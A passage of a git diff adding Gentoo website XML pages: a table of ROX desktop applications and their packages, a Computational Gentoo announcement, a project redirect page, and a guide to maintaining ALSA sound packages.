+								link="http://rox.sourceforge.net/desktop/node/303">ROXTerm</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/x11-terms/roxterm">x11-terms/roxterm</uri></ti>
+						<ti>
+							This is in the tree, but not strictly part of this project
+						</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/302">Depend</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>Probably will not be added</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/288">Rubbish</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/287">Trash</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/253">ROX-GNOME-thumbnailer</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/gnome-thumbnailer">rox-extra/gnome-thumbnailer</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/176">RoxISO</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/roxiso">rox-extra/roxiso</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>RoxDAO</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/roxdao">rox-extra/roxdao</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Memo">Memo</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/memo">rox-extra/memo</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Contacts">Contacts</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/contacts">rox-extra/contacts</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/30">AppFactory</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							Songer
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/songer">rox-extra/songer</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							Rename
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/rox-rename">rox-extra/rox-rename</uri></ti>
+						<ti/>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Panel Applets</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://roscidus.com/desktop/node/420">DevTray</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/devtray">rox-base/devtray</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/331">DeviceHandler</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>Deperecated by DevTray, will not be added</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/320">Weather</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/weather">rox-extra/weather</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/TaskTray">TaskTray</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/tasktray">rox-base/tasktray</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/316">RETicker</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/reticker">rox-extra/reticker</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/301">XDG-Menu</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/xdg-menu">rox-base/xdg-menu</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/PanelClock">PanelClock</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/243">ToggleDesktop</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/214">SystemTrayN</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/systemtrayn">rox-base/systemtrayn</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Tasklist">Tasklist</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>Requested (<uri
+								link="http://bugs.gentoo.org/show_bug.cgi?id=81216">Bug
+								81216</uri>), but still not ready.</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Pager">Pager</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/pager">rox-base/pager</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Software/Menu">Menu</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/27">Clock</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/clock">rox-extra/clock</uri></ti>
+						<ti/>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Text Processing</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/31">Diff</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/diff">rox-extra/diff</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/29">Tail</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/rox-tail">rox-extra/rox-tail</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/Edit">Edit</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/edit">rox-extra/edit</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/node/19">Find</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-extra/find">rox-extra/find</uri></ti>
+						<ti>
+							I think I would literally die without this application
+						</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+		<section>
+			<title>Library</title>
+			<body>
+				<table>
+					<tr>
+						<th>Program</th><th>Gentoo Package</th><th>Notes</th>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/librox-perl">librox-perl</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add, unless suddenly a useful app
+							starts using it</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri
+								link="http://rox.sourceforge.net/desktop/ROX-Rib">ROX-Rib</uri>
+						</ti>
+						<ti>None</ti>
+						<ti>No immediate plans to add, unless suddenly a useful app
+							starts using it</ti>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/ROX-Lib">ROX-Lib</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/rox-lib">rox-base/rox-lib</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>
+							<uri link="http://rox.sourceforge.net/desktop/ROX-CLib">ROX-CLib</uri>
+						</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/rox-clib">rox-base/rox-clib</uri></ti>
+						<ti/>
+					</tr>
+					<tr>
+						<ti>TrayLib</ti>
+						<ti><uri link="http://packages.gentoo.org/package/rox-base/traylib">rox-base/traylib</uri></ti>
+						<ti/>
+					</tr>
+				</table>
+			</body>
+		</section>
+	</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/desktop/science/hpc_annonce.xml b/xml/htdocs/proj/en/desktop/science/hpc_annonce.xml
new file mode 100644
index 00000000..25595b26
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/science/hpc_annonce.xml
@@ -0,0 +1,105 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="hpc_annonce.xml">
+<title>Computational Gentoo Initiative</title>
+<author title="Scientific Gentoo Team">
+  <mail link="gentoo-scientific@gentoo.org">Scientific Gentoo Team</mail>
+</author>
+<author title="Andrew Fant"> 
+  <mail link="andrew.fant@tufts.edu">Andrew Fant</mail>
+</author>
+<author title="Editor">
+  <mail link="george@gentoo.org">George Shapovalov</mail>
+</author>
+
+<abstract>
+This is Computational Gentoo initiative announcement, mostly copied from corresponding
+email.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2004-01-27</date>
+
+<chapter> 
+<title>Initiative announcement</title>
+
+<section>
+<title>Initiative announcement</title>
+<body>
+<p>
+For those involved in high-performance computing (HPC) and computational
+science and engineering (CSE), Gentoo, is a powerful tool, both on the
+desktop and on servers or clusters.  With it, users can build environments
+that do not waste time offering unwanted network services and system
+daemons, and the binaries for the OS can be highly optimized to take full
+advantage of the system architecture.  In particular, this can improve the
+efficiency of numerical simulations that depend on floating point
+performance. Shaving 1 or 2 cycles from an operation may not seem like
+much, but when the routine is executed 5 million times per calculation,
+the savings rapidly add up.  Also, Gentoo doesn't have a rigid release
+cycle with EOL dates forced on users who have working systems. 
+Administrators and users have the ultimate control over when upgrades are
+made and to which packages.   Finally, a group of enthusiastic volunteers
+have written ebuilds for over 100 different scientific and engineering
+applications and libraries, making them readily accessible to the user
+community.
+</p>
+
+<p>
+With the potential advantages of Gentoo-based HPC and CSE environments, we
+feel that the Gentoo community ought to do more to reach out to potential
+users and developers in these fields.  Gentoo doesn't come without a
+learning curve, and even when that curve is conquered the need for a
+specialized peer group is not obviated.  Furthermore, Gentoo lacks name
+recognition in these fields, and even when a developer or administrator
+finds Gentoo and discovers the benefits of its philosophy, there is often
+a sense of isolation that discourages him or her from moving forward with
+Gentoo-based solutions.   To address these issues, we propose the
+formation of a Gentoo-science project, encompassing both desktop and
+server issues, with the following list of potential project goals.
+</p>
+
+<ol>
+<li>  To act as a clearinghouse for information about the use of Gentoo
+      Linux in  computational science and engineering, including the
+      installation of major third-party applications, such as Matlab and
+      Mathematica, which are often less than completely Gentoo-friendly.
+</li>
+	 
+<li>  To be a presence for Gentoo at technical meetings and trade shows,
+      both in informal settings, such as BOFs and badge button campaigns,
+      and in more formal settings, such as organized symposia or vendor
+      booths. </li>
+
+<li>  To coordinate with the sci herd and other appropriate Gentoo herds
+      for bug-testing, code validation, and potential tree restructuring
+      as necessary and desirable. </li>
+
+<li>  To provide input to project teams about the specific needs of
+      computational science and engineering users, in particular the
+      gentoo-server, gentoo-cluster, and gentoo-desktop teams.
+</li>
+
+<li>    To advocate with developers and independent software vendors for
+      increased distribution neutrality in specifying software
+      pre-requisites for applications, and to encourage use of packaging
+      systems that are ebuild-friendly.</li>
+</ol>
+
+<p>
+Contact information:
+</p>
+
+<p>
+Scientific Gentoo has an active mailing list <c>gentoo-science@lists.gentoo.org</c> which
+is intended to be used for science related discussion. Please report any problems or
+anything bug alike to <uri link="http://bugs.gentoo.org">Gentoo bugzilla</uri>. 
+</p>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/science/index.xml b/xml/htdocs/proj/en/desktop/science/index.xml
new file mode 100644
index 00000000..ebc3334c
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/science/index.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>Scientific Gentoo</name>
+	<longname>Scientific Gentoo Project</longname>
+
+	<description>
+		Science related stuff in Gentoo
+	</description>
+
+	<longdescription>
+		<p>Please note!</p>
+		<p>The Scientific Gentoo has become a Top Level Project and has relocated accordingly. 
+			It can now be found <uri link="../../science/index.xml">here</uri>.
+		</p>
+	</longdescription>
+
+	
+</project>
diff --git a/xml/htdocs/proj/en/desktop/sound/alsa.xml b/xml/htdocs/proj/en/desktop/sound/alsa.xml
new file mode 100644
index 00000000..eb153900
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/alsa.xml
@@ -0,0 +1,568 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/alsa.xml,v 1.16 2007/01/30 19:29:28 flameeyes Exp $ -->
+
+<guide link="/proj/en/desktop/sound/alsa.xml" lang="en">
+<title>ALSA packages maintenance</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+Guide to maintenance of ALSA drivers and ALSA packages, to help new maintainers
+to know the catch ups in its packages.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.14</version>
+<date>2007-01-30</date>
+
+<chapter> <!-- Advanced Linux Sound Architecture -->
+<title>Advanced Linux Sound Architecture</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<note>
+This guide was last updated for ALSA release 1.0.14_rc2.
+</note>
+
+<p>
+ALSA is the "next generation" sound drivers suite for Linux, that supersedes the
+old OSS (Open Sound System) drivers. The ALSA drivers are provided by kernels
+2.6 inside the kernel's sources and are available as external package for those
+who are still running 2.4 series kernels. The external package can be used with
+2.6 kernels, too, and allows to run a different version of ALSA drivers than the
+one shipped with the current kernel.
+</p>
+
+<p>
+This guide is being wrote to help developers interested in maintenance of ALSA
+related packages, as they might be tricky, and it's always useful to know a few
+things that are not in the official documentation. It also shows the reasons why
+the external ALSA drivers package can't be dropped for 2.6 kernels.
+</p>
+
+<p>
+Expansion of this guide is really welcome as it might be a bit tricky sometimes
+as details are often forgotten until you really need to remember them.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Resources -->
+<title>Resources</title>
+
+<body>
+
+<p>
+It's important to know the resources that might be needed to get ALSA right, as
+there can be lot of problems that might require one to dig through many
+different sites and mailing lists.
+</p>
+
+<p>
+The first important resource is, obviously, the main
+<uri link="http://www.alsa-project.org">ALSA Project homepage</uri>. You can
+find there a list of latest news with changelog for different version and a
+simple box with latest releases for stable and development packages. As you'll
+see later, sometimes development releases are needed to go in ~arch or even on
+stable trees, depending on the kernel version used in those trees.
+</p>
+
+<p>
+As many other projects, ALSA project has a
+<uri link="https://bugtrack.alsa-project.org/alsa-bug/main_page.php">bugtracker</uri>,
+but that might be a bit difficult to get a hold of, as it's a Mantis tracker
+instead of the more common Bugzilla. It's important to note the selector on
+top right of the screen: if you select something there you mask all the other
+projects' bug and looking for or reporting bugs becomes an hell.
+</p>
+
+<p>
+Other important resources are the mailing list. ALSA project have different
+mailing lists, but the main ones you need to subscribe if you're interested in
+maintaining ALSA related packages are <c>alsa-announce</c> and
+<c>alsa-devel</c>. You might also want to take a look to
+<uri link="http://lkml.org">lkml</uri>, as ALSA drivers are also developed as
+part of 2.6 series kernel.
+</p>
+
+<p>
+When fixing software that uses <c>alsa-lib</c> or when looking at
+<c>alsa-lib</c> itself, it might be useful to have at hand the
+<uri link="http://www.alsa-project.org/alsa-doc/alsa-lib/">library reference</uri>
+that contains the tech level documentation of the functions inside the library.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Mercurial repository -->
+<title>Mercurial repository</title>
+<body>
+
+<p>
+ALSA sources are managed through
+<uri link="http://www.selenic.com/mercurial/">mercurial</uri>
+SCM, and as it's stated in
+<uri link="http://www.alsa-project.org/download.php">ALSA's download page</uri>,
+the checkout command is th following:
+</p>
+
+<pre caption="checking out ALSA's repositories">
+$ <i>hg clone http://hg-mirror.alsa-project.org/alsa-driver alsa-driver</i>
+$ <i>hg clone http://hg-mirror.alsa-project.org/alsa-lib alsa-lib</i>
+<comment>And so on for the different needed repositories</comment>
+</pre>
+
+<note>
+For people not used to mercurial, the command to update the repository checkout
+is <c>hg pull -u</c>.
+</note>
+
+<p>
+Snapshots of ALSA packages are discouraged unless very special circumstances
+applies, as they are strictly tied to the kernel development, too. It might be
+unsurprising that if no new release candidate are released by upstream, a
+snapshot is required after a new kernel release.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter> <!-- The packages -->
+<title>The packages</title>
+
+<section> <!-- Overview -->
+<title>Overview</title>
+
+<body>
+
+<p>
+ALSA support in Linux is provided by a list of different packages; upstream
+splits the different pieces of the framework as they might not be used in every
+system: some might just need <c>alsa-lib</c>, other might want to use utilities
+and tools, too. For this reason there are also different ebuilds for all of
+them, distributed between <path>media-sound</path>, <path>media-libs</path> and
+<path>media-plugins</path> categories.
+</p>
+
+<p>
+It's important to note that, while you can use just some of the packages
+provided by ALSA, when you use more than one of them, they should always be of
+the same version; while some of them are told to be compatible, we had in the
+past some problems (between moving from 1.0.8 to 1.0.9) with unaligned drivers
+and library, that caused a lot of problems to users.
+</p>
+
+<p>
+Usually it's anyway possible to use different patchlevels of the same version
+without big problems, so different rc versions can work together without being
+a problem to users, in most cases.
+</p>
+
+</body>
+</section>
+
+<section> <!-- alsa-driver -->
+<title>alsa-driver</title>
+
+<body>
+
+<p>
+The most important piece of ALSA framework is for sure <c>alsa-driver</c>
+package. This package is the only way to provide ALSA drivers to 2.4 kernels and
+an alternative way to provide ALSA drivers to 2.6 kernels. The ebuild in portage
+installs only the plain modules for the drivers, while the original version
+would have also installed the headers for them (this is taken care of in the
+following package).
+</p>
+
+<p>
+The <c>alsa-driver</c> package should always remain supported and available for
+2.6 kernels, as it provides more reliable drivers for many cases, as it doesn't
+get changed by kernel's patches and similar. While
+<uri link="/doc/en/alsa-guide.xml">the ALSA guide</uri> suggests to use the
+in-kernel drivers for 2.6 kernels because it's simpler for the users, we had
+a few cases in the past where people complained about problems with
+ALSA due to in-kernel drivers.
+</p>
+
+<p>
+When receiving bugs about alsa at <path>alsa-bugs@gentoo.org</path> alias, it's
+always the case, if the reporter didn't specify it, to ask if he's using the
+in-kernel drivers or <c>alsa-driver</c> package. In the former case it's useful
+to know the version of the drivers (can be found at
+<path>/proc/asound/version</path>) and to try to reproduce the bug with
+<c>alsa-driver</c>. If the problem is limited to the in-kernel drivers, re-route
+the bug to <path>kernel@gentoo.org</path> devs.
+</p>
+
+<p>
+<c>alsa-driver</c> uses a mix of autotools-fu and Kconfig to work fine on many
+different setups with kernels that might be using incompatible APIs. To the
+base drivers' sources found in the package (that are the ones found in the
+development kernel at the moment of the release), they apply a series of patches
+to become compatible with older kernels, when needed. For this reason, newer
+versions of the drivers are usually compatible with older kernels, but the other
+way around is not always true.
+</p>
+
+<note>
+Some API changes specific to given patchsets, such as the ones in
+<c>suspend2-sources</c> 2.6.12, are not considered by upstream worth of
+detection. As changing the kernel API does anyway break the compatibility with
+lots of modules, there's no actual reason for <c>alsa-driver</c> to support
+them.
+</note>
+
+<p>
+Kernels does not look at the status of ALSA drivers sources when releasing, at
+least they don't look if they are release candidates or even beta versions; this
+created lot of problems in the past. For this reason, while it's usually the
+case to mask pre-release versions of ALSA framework, you might be required to
+remove them from package masking if a new kernel is released and latest unmasked
+version of the drivers does not build against, or the kernel is shipped with a
+pre-release version of the drivers (see the notes about <c>alsa-lib</c> package).
+</p>
+
+<p>
+When a new kernel is going to be marked stable, ALSA drivers that builds against
+it must be marked stable, too. This is required to have a working tree. Usually
+this also means that the other packages needs to be stabled at the
+same point.
+This lead more than once in the past to have marked stable release
+candidate versions, because of stable marking of a newer kernel
+too. Many arch teams had their own stable tree unreliable for many
+weeks after a new kernel was marked stable.
+</p>
+
+<warn>
+<c>alsa-driver</c> package does not only contain the drivers that are available
+on the Linux kernel tree, but also some drivers that are not present there.
+Those might be more of a problem as they are often outdated and happened in the
+past (and still now) to fail building when the kernel deprecates and remove some
+APIs or defines.
+</warn>
+
+<p>
+Starting from the unofficial snapshot 1.0.14_pre20061130, and excluded the live
+9999 ebuild, the ebuild provides access to the ALSA_CARDS variable using the
+USE_EXPAND method, so that the user can see which cards are supported. The list
+of available cards for a given release can be found in the
+<path>acinclude.m4</path> files inside the alsa-driver tarball, looking for the
+string "Possible cards are:" (<e>TODO</e>: create a simple wrapper script that
+converts that list to a suitable IUSE_ALSA_CARDS variable in the ebuild itself).
+</p>
+
+<p>
+As the USE_EXPANDED variables need a description for the entries, the file
+<path>gentoo-x86/profiles/desc/alsa_cards.desc</path> contains the descriptions
+of the drivers that can be enabled; the (almost complete) description of the
+drivers available can be generated through the following command ran into the
+source directory for alsa-driver:
+</p>
+
+<pre caption="generating descriptions of ALSA_CARDS values">
+alsa-driver-${PV} $ <i>find . -name Kconfig | xargs alsa_cards_desc_converter.awk | sort -u &gt; /tmp/alsa_cards_desc.update</i>
+</pre>
+
+<p>
+The <uri link="http://dev.gentoo.org/~flameeyes/alsa/alsa_cards_desc_converter.awk">alsa_cards_desc_converter.awk</uri>
+script will convert the descriptions in the <path>Kconfig</path> files in the
+kernel in a suitable format for the <path>alsa_cards.desc</path> file.
+This file won't contain the values for the drivers that miss a description in
+the files.
+</p>
+
+</body>
+</section>
+
+<section> <!-- alsa-headers -->
+<title>alsa-headers</title>
+
+<body>
+
+<p>
+The <c>alsa-headers</c> package is split out from <c>alsa-driver</c> upstream
+package. This package is used to install the headers needed by both the drivers
+and the library. It's used to allow people to install alsa-driver for many
+different kernel versions without having problems with collision-protect
+feature.
+</p>
+
+<p>
+The ebuild is quite simple, as it does install only a series of header files.
+The only catchup is that it needs a single patch to define <path>__user</path>
+if it's not defined already.
+</p>
+
+</body>
+</section>
+
+<section> <!-- alsa-lib -->
+<title>alsa-lib</title>
+
+<body>
+
+<p>
+As ALSA uses a way more complex interaction between software and driver, the use
+of simple access to the devices as done by OSS is no more a viable option. Due
+to the number of possible options, and the access to hardware options, the
+<c>alsa-lib</c> package is the preferred way to access the sound devices.
+</p>
+
+<p>
+In the past <c>alsa-lib</c> had a series of "generations" of API compatibility,
+so many packages configure in different ways depending if they find a version
+of alsa pre-0.5, 0.5 or 0.9. At the moment, portage provides only >=1.0
+versions, so all the packages should configure with ALSA generation 0.9.
+</p>
+
+<p>
+Beside the different generations stated above, <c>alsa-lib</c> should be API
+and ABI stable inside the same generation. Unfortunately there are cases for
+particular drivers that does not apply cleanly, for example the emu10k1 breakage
+between versions 1.0.5 and 1.0.6.
+</p>
+
+<p>
+An important problem is with test. <c>alsa-lib</c> comes with a couple
+of simple testcases to make sure that it works fine. Unfortunately upstream
+does not seems to pay enough attention to them before release, so they are often
+broken even in the final release. While disabling them is probably simpler, when
+possible it's suggested to try fixing the tests and submitting the patches to
+ALSA's bugzilla.
+</p>
+
+<p>
+It's particularly important that <c>alsa-lib</c> and the drivers used (either
+from kernel or <c>alsa-driver</c>) are the same version in a working system.
+This to avoid problems in communication between the lib (and so forth all the
+applications that uses it) and the drivers inside the kernel. Being the single
+communication node between kernel and userspace, the library is the strategic
+point for the rest of the framework. While it's possible to use an older or
+newer init script for <path>alsasound</path> it's usually highly deprecated the
+use of <c>alsa-lib</c> with a different version than the current running
+drivers.
+</p>
+
+</body>
+</section>
+
+<section> <!-- alsa-utils -->
+<title>alsa-utils</title>
+
+<body>
+
+<p>
+Almost as important as <c>alsa-lib</c>, the <c>alsa-utils</c> package provides
+the basic utilities to work in an ALSA enabled system. Not only it contains
+basic utilities like alsactl and alsamixer, it contains the
+<path>alsasound</path> init script that is used to initialize ALSA framework on
+a system and to load modules. The init script is better explained later in this
+document.
+</p>
+
+<p>
+The init script loads the modules for ALSA support: before the ALSA interfaces,
+then the actual soundcards' drives, looking for <path>snd-card-*</path> aliases
+as specified in <path>/etc/modules.d/alsa</path>. When the aliases are not
+present because the user hasn't configured them, the init script starts looking
+for all the modules installed that corresponds to PCI ids.
+</p>
+
+<p>
+This is a problem for arches where the sound cards are not on PCI bus, such as
+the powermac driver used for Apple PPC systems. For this reason the init script
+requires on non-PCI platforms the explicit setting of <path>snd-card-*</path>
+aliases so that it knows what to load. It also needs to know the aliases when
+there are more than one sound card on the box, so that they can be loaded in the
+right order.
+</p>
+
+</body>
+</section>
+
+<section> <!-- alsa-plugins -->
+<title>alsa-plugins</title>
+
+<body>
+
+<p>
+<c>alsa-lib</c> can also output, instead than to an actual ALSA device, to some
+plugins that pipes the output elsewhere. The first of these plugins was the
+<c>jack</c> plugin that was present inside <c>alsa-lib</c> 1.0.9, and then split
+out in the <c>alsa-jack</c> ebuild, up to version 1.0.11. Since 1.0.11 there is
+a new ebuild, <c>alsa-plugins</c> that replaces <c>alsa-jack</c> entirely and
+that also provides the extra plugins as released by upstream.
+</p>
+
+<p>
+In particular this ebuild provides the OSS output plugin and an AC3 conversion
+plugin, that uses <c>ffmpeg</c> for the encoding, other than the <c>jack</c>
+plugin as before.
+</p>
+
+<note>
+With this version the <c>PDEPEND</c> on <c>alsa-jack</c> is gone from
+<c>alsa-lib</c> ebuild, too.
+</note>
+
+<p>
+As of January 2007, <c>alsa-jack</c> is totally phased out and removed
+from the tree, and the only way to have Jack output from ALSA is to
+use the <c>alsa-plugins</c> package with the jack useflag enabled.
+</p>
+
+<p>
+Since version 1.0.12, <c>alsa-plugins</c> also provides a pulseaudio use
+flag to enable the <uri link="http://www.pulseaudio.org">PulseAudio</uri> plugin.
+<!-- TODO: make it point to PulseAudio maintainer's guide when it's ready -->
+Assertions for the plugin are disabled, because it makes some sanity check
+assumptions that are broken by some clients like alsaplayer (they are errors in
+the players, not in the plugin), and this makes it more usable to public. If
+debug is required they can easily re-enabled.
+</p>
+
+</body>
+
+</section>
+
+</chapter>
+
+<chapter> <!-- Arch-specific notes -->
+<title>Arch-specific notes</title>
+
+<section> <!-- PowerPC -->
+<title>PowerPC</title>
+
+<body>
+
+<p>
+For some reasons, ALSA support on PowerPC platform is not the state of the art.
+The first main problem, alreay noted in <c>alsa-utils</c> section above, it's
+that the init script does not autorecognize the <path>snd-powermac</path> module
+that is used by almost all Apple machines, such as iBooks and PowerBooks. This
+means that it has to be aliased to <path>snd-card-0</path> to be loaded
+correctly, as it hasn't a PCI alias (not being on PCI bus).
+</p>
+
+<p>
+Also the driver itself seems to be cause of problems: the
+<path>snd-powermac</path> module segfaults modprobe on insertion on ALSA 1.0.10,
+while works mostly fine on rc3 (after being patched as rc3 released was not
+building at all on PPC).
+</p>
+
+</body>
+</section>
+
+<section> <!-- SPARC -->
+<title>SPARC</title>
+
+<body>
+
+<p>
+ALSA support on SPARC systems is, at the time of writing, supported by
+experimental development profiles based on 2.6 series kernel (in particular, the
+ALSA shipped with kernel 2.6.15).
+</p>
+
+<p>
+<c>alsa-driver</c> is not supported and not keyworded because it misses some of
+the patches needed to make ALSA work on SPARC and because it's not aware of the
+mixed userland/kernel compilers.
+</p>
+
+<p>
+For this reason, SPARC has no reason to forcefully mark stable a new ALSA
+release if the main problem lies in <c>alsa-driver</c> not compiling with
+current kernel (as there's no <c>alsa-driver</c> keyworded), and can continue
+using the most recent non-RC release of ALSA userland that works with their
+kernel.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter> <!-- Quirks, useflags, and interactions -->
+<title>Quirks, useflags and interactions</title>
+
+<section> <!-- The midi useflag -->
+<title>The midi useflag</title>
+
+<body>
+
+<p>
+As of 1.0.14_rc2 sub-releases, a new useflag was introduced in some
+ALSA packages, the <b>midi</b> useflag. This useflag is used to enable
+or disable code, drivers or utilities that are used to control the
+sequencer support in ALSA (MIDI support), both hardware, software and
+virtual.
+</p>
+
+<p>
+Probably the majority of users nowadays won't care about MIDI support
+at all, so it makes sense for them to disable MIDI support altogether
+to save space, time and code that can cause bugs. Unfortunately some
+software checks the presence of snd_seq_* functions when checking for
+the presence of ALSA itself, leading to unexpected failures or
+omissing ALSA support where requested.
+</p>
+
+<p>
+It was then necesssary not to release to public consumption in ~arch
+the new versions of alsa-lib that contain the experimental midi
+useflag for a transition phase. The packages testing for snd_seq_*
+functions has to be fixed by either make them check for ALSA through
+pkg-config (if they don't really require sequencer support, like K3B),
+or to check that alsa-lib is built with <b>midi</b> useflag enabled.
+</p>
+
+<pre caption="Checking for the midi useflag on alsa-lib.">
+pkg_setup() {
+    if ! built_with_use --missing true media-libs/alsa-lib midi; then
+        eerror ""
+        eerror "To be able to build this package with midi support you need"
+        eerror "to have built media-libs/alsa-lib with midi USE flag enabled."
+        die "Missing midi USE flag on media-libs/alsa-lib"
+    fi
+}
+</pre>
+
+<p>
+Please note that the <c>built_with_use</c> check is ran with the
+<c>--missing true</c> parameter, to tell the check to report success
+if the version of alsa-lib currently installed does not support the
+midi useflag at all. This is needed because older version of alsa-lib
+always built the sequencer part of the library, without caring for
